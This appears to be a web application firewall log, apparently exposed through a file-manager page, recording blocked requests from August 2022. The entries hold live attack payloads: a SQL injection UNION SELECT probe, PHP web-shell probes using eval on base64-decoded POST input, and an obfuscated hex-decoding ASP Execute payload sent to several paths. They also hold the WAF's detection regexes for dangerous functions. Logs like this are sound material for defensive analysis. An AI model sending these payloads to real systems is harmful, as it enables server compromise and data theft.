/
home
/
wwwlogs
/
free_waf_log
/
Upload File
HOME
["2022-08-08 10:28:21","203.160.80.2","POST","\/wp-admin\/admin-ajax.php","Mozilla\/5.0 (Windows NT 10.0) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/40.0.2214.93 Safari\/537.36","post","(?:(union(.*?)select)) >> order_id:1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x717a767671,0x685741416c436654694d446d416f717a6b54704a457a5077564653614970664166646654696e724d,0x7171786b71),NULL-- -"] ["2022-08-08 12:35:51","47.89.17.189","POST","\/config.php","Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)","post","base64_decode\\( >> admin:@ eval (base64_decode($_POST[z0]));"] ["2022-08-08 12:35:56","47.89.17.189","POST","\/plus\/1.php","Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)","post","base64_decode\\( >> a:@ eval (base64_decode($_POST[z0]));"] ["2022-08-08 12:35:57","47.89.17.189","POST","\/data\/7.asp","Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> 90:Execute (\" Execute (\"\" :Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(\"\"\"\"bd=bd&chr(&H\"\"\"\"&c&\"\"\"\")\"\"\"\"):Else:Execute(\"\"\"\"bd=bd&chr(&H\"\"\"\"&c&Mid(s,i+2,2)&\"\"\"\")\"\"\"\"):i=i+2:End If\"\"&chr(10)&\"\"Next:End Function:Response.Write(\"\"\"\"->|\"\"\"\"): Execute (\"\"\"\"On Error Resume Next:\"\"\"\"&bd(\"\"\"\"526573706F6E73652E5772697465282268616F72656E67652E636F6D51513331373237353733382229\"\"\"\")):Response.Write(\"\"\"\"|<-\"\"\"\"):Response.End\"\")\")"] ["2022-08-08 12:35:57","47.89.17.189","POST","\/data\/8.asp","Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> 90:Execute (\" Execute (\"\" :Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(\"\"\"\"bd=bd&chr(&H\"\"\"\"&c&\"\"\"\")\"\"\"\"):Else:Execute(\"\"\"\"bd=bd&chr(&H\"\"\"\"&c&Mid(s,i+2,2)&\"\"\"\")\"\"\"\"):i=i+2:End If\"\"&chr(10)&\"\"Next:End Function:Response.Write(\"\"\"\"->|\"\"\"\"): Execute (\"\"\"\"On Error Resume Next:\"\"\"\"&bd(\"\"\"\"526573706F6E73652E5772697465282268616F72656E67652E636F6D51513331373237353733382229\"\"\"\")):Response.Write(\"\"\"\"|<-\"\"\"\"):Response.End\"\")\")"] ["2022-08-08 12:35:57","47.89.17.189","POST","\/data\/9.asp","Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> 90:Execute (\" Execute (\"\" :Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(\"\"\"\"bd=bd&chr(&H\"\"\"\"&c&\"\"\"\")\"\"\"\"):Else:Execute(\"\"\"\"bd=bd&chr(&H\"\"\"\"&c&Mid(s,i+2,2)&\"\"\"\")\"\"\"\"):i=i+2:End If\"\"&chr(10)&\"\"Next:End Function:Response.Write(\"\"\"\"->|\"\"\"\"): Execute (\"\"\"\"On Error Resume Next:\"\"\"\"&bd(\"\"\"\"526573706F6E73652E5772697465282268616F72656E67652E636F6D51513331373237353733382229\"\"\"\")):Response.Write(\"\"\"\"|<-\"\"\"\"):Response.End\"\")\")"] ["2022-08-08 12:35:57","47.89.17.189","POST","\/data\/1.asp","Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> a:Execute (\" Execute (\"\" :Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(\"\"\"\"bd=bd&chr(&H\"\"\"\"&c&\"\"\"\")\"\"\"\"):Else:Execute(\"\"\"\"bd=bd&chr(&H\"\"\"\"&c&Mid(s,i+2,2)&\"\"\"\")\"\"\"\"):i=i+2:End If\"\"&chr(10)&\"\"Next:End Function:Response.Write(\"\"\"\"->|\"\"\"\"): Execute (\"\"\"\"On Error Resume Next:\"\"\"\"&bd(\"\"\"\"526573706F6E73652E5772697465282268616F72656E67652E636F6D51513331373237353733382229\"\"\"\")):Response.Write(\"\"\"\"|<-\"\"\"\"):Response.End\"\")\")"] ["2022-08-08 12:35:57","47.89.17.189","POST","\/data\/3.asp","Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> a:Execute (\" Execute (\"\" :Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(\"\"\"\"bd=bd&chr(&H\"\"\"\"&c&\"\"\"\")\"\"\"\"):Else:Execute(\"\"\"\"bd=bd&chr(&H\"\"\"\"&c&Mid(s,i+2,2)&\"\"\"\")\"\"\"\"):i=i+2:End If\"\"&chr(10)&\"\"Next:End Function:Response.Write(\"\"\"\"->|\"\"\"\"): Execute (\"\"\"\"On Error Resume Next:\"\"\"\"&bd(\"\"\"\"526573706F6E73652E5772697465282268616F72656E67652E636F6D51513331373237353733382229\"\"\"\")):Response.Write(\"\"\"\"|<-\"\"\"\"):Response.End\"\")\")"] ["2022-08-08 12:35:57","47.89.17.189","POST","\/data\/3.asp","Mozilla\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)","post","60秒以内累计超过6次以上非法请求,封锁180秒"]